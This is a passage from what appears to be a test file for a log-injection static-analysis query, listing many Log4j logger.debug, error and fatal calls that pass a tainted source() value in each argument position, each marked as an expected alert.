logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.debug((Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.debug((Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.debug((Marker) null, (Supplier) source()); // $ Alert + logger.debug((Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.debug((MessageSupplier) source()); // $ Alert + logger.debug((MessageSupplier) source(), (Throwable) null); // $ Alert + logger.debug((Message) source()); // $ Alert + logger.debug((Message) source(), (Throwable) null); // $ Alert + logger.debug(source()); // $ Alert + logger.debug(source(), (Throwable) null); // $ Alert + logger.debug((String) source()); // $ Alert + logger.debug((String) source(), (Object[]) null); // $ Alert + logger.debug((String) null, new Object[] {source()}); // $ Alert + logger.debug((String) null, (Object) source()); // $ Alert + logger.debug((String) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((String) source(), (Supplier) null); // $ Alert + logger.debug((String) null, (Supplier) source()); // $ Alert + logger.debug((String) source(), (Throwable) null); // $ Alert + logger.debug((Supplier) source()); // $ Alert + logger.debug((Supplier) source(), (Throwable) null); // $ Alert + logger.error((CharSequence) source()); // $ Alert + logger.error((CharSequence) source(), (Throwable) null); // $ Alert + logger.error((Marker) null, (CharSequence) source()); // $ Alert + logger.error((Marker) null, (CharSequence) source(), null); // $ Alert + logger.error((Marker) null, (Message) source()); // $ Alert + logger.error((Marker) null, (MessageSupplier) source()); // $ Alert + logger.error((Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.error((Marker) null, source()); // $ Alert + logger.error((Marker) null, (String) source()); // $ Alert + logger.error((Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.error((Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.error((Marker) null, (String) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.error((Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.error((Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.error((Marker) null, (Supplier) source()); // $ Alert + logger.error((Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.error((MessageSupplier) source()); // $ Alert + logger.error((MessageSupplier) source(), (Throwable) null); // $ Alert + logger.error((Message) source()); // $ Alert + logger.error((Message) source(), (Throwable) null); // $ Alert + logger.error(source()); // $ Alert + logger.error(source(), (Throwable) null); // $ Alert + logger.error((String) source()); // $ Alert + logger.error((String) source(), (Object[]) null); // $ Alert + logger.error((String) null, new Object[] {source()}); // $ Alert + logger.error((String) null, (Object) source()); // $ Alert + logger.error((String) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.error((String) source(), (Supplier) null); // $ Alert + logger.error((String) null, (Supplier) source()); // $ Alert + logger.error((String) source(), (Throwable) null); // $ Alert + logger.error((Supplier) source()); // $ Alert + logger.error((Supplier) source(), (Throwable) null); // $ Alert + logger.fatal((CharSequence) source()); // $ Alert + logger.fatal((CharSequence) source(), (Throwable) null); // $ Alert + logger.fatal((Marker) null, (CharSequence) source()); // $ Alert + logger.fatal((Marker) null, (CharSequence) source(), null); // $ Alert + logger.fatal((Marker) null, (Message) source()); // $ Alert + logger.fatal((Marker) null, (MessageSupplier) source()); // $ Alert + logger.fatal((Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.fatal((Marker) null, source()); // $ Alert + logger.fatal((Marker) null, (String) source()); // $ Alert + logger.fatal((Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.fatal((Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, 